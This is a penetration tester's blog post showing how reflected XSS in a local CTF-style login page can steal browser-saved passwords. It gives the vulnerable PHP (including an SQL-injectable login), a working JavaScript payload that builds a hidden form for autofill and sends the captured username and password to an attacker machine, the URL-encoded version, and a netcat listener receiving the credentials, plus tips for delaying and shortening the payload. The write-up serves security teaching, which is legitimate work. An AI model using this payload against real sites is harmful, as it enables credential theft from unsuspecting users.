XSS Password Stealing – Who needs cookies?!

Most people are already aware of using XSS to pop alerts or steal cookies. Today I’d like to show XSS password stealing.

While stealing credentials with XSS is a bit more difficult, the pay off is even greater. You do not need to worry about cookies becoming invalid, and there’s always the chance of reused credentials.

Vulnerable Application

The application I will be attacking is a slightly modified version of one of my demo pages.

I borrowed the index.php file from a LASACTF challenge and edited for this attack.

      <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
    <div class="container">
        <div class="row">
          <div class="col-md-8 col-md-offset-2">

                <h3>Log In</h3>

                <form action="login.php" method="POST" onsubmit="return checkValid()">
                        <div class="form-group">
                            <label for="username">Username:</label>
                            <input type="text" id="username" name="username" class="form-control">
                        <div class="form-group">
                            <label for="password">Password:</label>
                            <div class="controls">
                                <input type="password" id="password" name="password" class="form-control">
                        <div class="form-actions">
                            <input type="submit" value="Login" class="btn btn-primary">
    $lang = $_GET['lang'];
    echo "<i>Your current language is $lang</i>"
    <!-- Example from LASACTF - https://github.com/LASACTF/LASACTF-Problems/blob/master/Problems/Web%20Exploitation/client-side/webroot/index.html -->

Login.php is a simple CTF login that will display a flag upon success. While this is vulnerable to SQL injection, this is not the attack I’m going to demonstrate.

    include "app/config.php";
    $con = new SQLite3($database_file);
    $username = $_POST["username"];
    $password = $_POST["password"];
    $query = "SELECT * FROM users WHERE name='$username' AND password='$password'";
    $result = $con->query($query);
    $row = $result->fetchArray();
    if ($row) {
      echo "<h1>Logged in!</h1>";
      echo "<p>Your flag is: $FLAG</p>";
    } else {
      echo "<h1>Login failed.</h1>";

While not necessary for this vulnerability, app/config.php contains the flag and the DB file’s location.

    $database_file = "app/users.db";
    $FLAG = "CTFs{inj3ction_fl4g}"

Other than that, you will need a SQLite database containing user information for the application to properly function. If you’d like to just follow along, I’ve included the one that I’m using below.


Vulnerability – XSS

If you did not notice earlier, the lang parameter is vulnerable to an XSS attack.

XSS Password Stealing - Lang

After modifying the language parameter slightly, an alert pop-up appears.

XSS Password Stealing - Alert 1

Saving Credentials

In this case, the attack will be against the browser’s saved credentials.

First, obtaining the username and password from the SQLite database for a proper login.

root@kali:~/passSteal/app# sqlite3 users.db
sqlite> select * from users;

With the proper credentials in hand, I logged into the application. When prompted, I had the browser remember this login.

XSS Password Stealing - Remember

The next time I loaded up index.php, my credentials were already populated as expected.

XSS Password Stealing - Saved login

XSS Password Stealing – The Attack

In this case, if our victim has credentials saved in their browser, then we can steal them with XSS.

First, we need a duplicated copy of the login form (for the browser to auto-populate). Other than that, we just need a JavaScript function to actually grab the credentials and send them back to us.

Our final payload will look something like this:

<body onload='stealCreds();'>
<div style="opacity:0;">
    <input type="text" name="username" id="username" />
    <input type="password" name="password" id="password" />
    function stealCreds(){
      var user = document.getElementById('username').value;
      var pass = document.getElementById('password').value;
      new Image().src="" + user + "&p=" + pass;

Once I had my payload in hand, I URL encoded it to make pasting it into the browser a bit simpler.


Upon loading the page with our new malicious lang parameter, the browser injected our new code.

XSS Password Stealing - stealCreds

Additionally, the application sent the stored creds over the wire to our attacking machine!

root@kali:~/passSteal# nc -lvp 80
listening on [any] 80 ...
connect to [] from kali [] 43210
GET /login?u=admin&p=bsides_passw0rd HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:1234/?lang=en%22%3e%3c%2f%62%6f%64%79%3e%0a%3c%62%6f%64%79%20%6f%6e%6c%6f%61%64%3d%27%73%74%65%61%6c%43%72%65%64%73%28%29%3b%27%3e%0a%3c%64%69%76%20%73%74%79%6c%65%3d%22%6f%70%61%63%69%74%79%3a%30%3b%22%3e%0a%20%20%3c%66%6f%72%6d%3e%0a%20%20%20%20%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%74%65%78%74%22%20%6e%61%6d%65%3d%22%75%73%65%72%6e%61%6d%65%22%20%69%64%3d%22%75%73%65%72%6e%61%6d%65%22%20%2f%3e%0a%20%20%20%20%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%70%61%73%73%77%6f%72%64%22%20%6e%61%6d%65%3d%22%70%61%73%73%77%6f%72%64%22%20%69%64%3d%22%70%61%73%73%77%6f%72%64%22%20%2f%3e%0a%20%20%3c%2f%66%6f%72%6d%3e%0a%20%20%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%73%74%65%61%6c%43%72%65%64%73%28%29%7b%0a%20%20%20%20%20%20%2f%2f%76%61%72%20%74%20%3d%20%6e%65%77%20%44%61%74%65%28%29%2e%67%65%74%54%69%6d%65%20%2b%20%32%30%30%30%3b%0a%20%20%20%20%20%20%2f%2f%77%68%69%6c%65%28%6e%65%77%20%44%61%74%65%28%29%2e%67%65%74%54%69%6d%65%28%29%20%3c%20%74%29%7b%7d%0a%20%20%20%20%20%20%76%61%72%20%75%73%65%72%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%27%75%73%65%72%6e%61%6d%65%27%29%2e%76%61%6c%75%65%3b%0a%20%20%20%20%20%20%76%61%72%20%70%61%73%73%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%27%70%61%73%73%77%6f%72%64%27%29%2e%76%61%6c%75%65%3b%0a%20%20%20%20%20%20%6e%65%77%20%49%6d%61%67%65%28%29%2e%73%72%63%3d%22%68%74%74%70%3a%2f%2f%31%30%2e%30%2e%32%2e%31%35%2f%6c%6f%67%69%6e%3f%75%3d%22%20%2b%20%75%73%65%72%20%2b%20%22%26%70%3d%22%20%2b%20%70%61%73%73%3b%0a%20%20%20%20%7d%0a%20%20%3c%2f%73%63%72%69%70%74%3e%0a%3c%2f%64%69%76%3e%0a
Connection: keep-alive

XSS Password Stealing – Conclusion

While this attack requires XSS on the login page AND saved user credentials, hopefully I demonstrated its severity.

Note that, in some cases, you will want to add a delay to the stealCreds method. The reason for this is that the browser might not fully load somewhere, and the browser will not auto-populate the creds by the time everything loads.

Other than that, remember you can shorten this payload using techniques similar to the Short XSS attack.

doyler on Githubdoyler on Twitter
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCP, eCPPT, eWPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Penetration Testing Consultant for SecureWorks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next (OSCE?!) or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *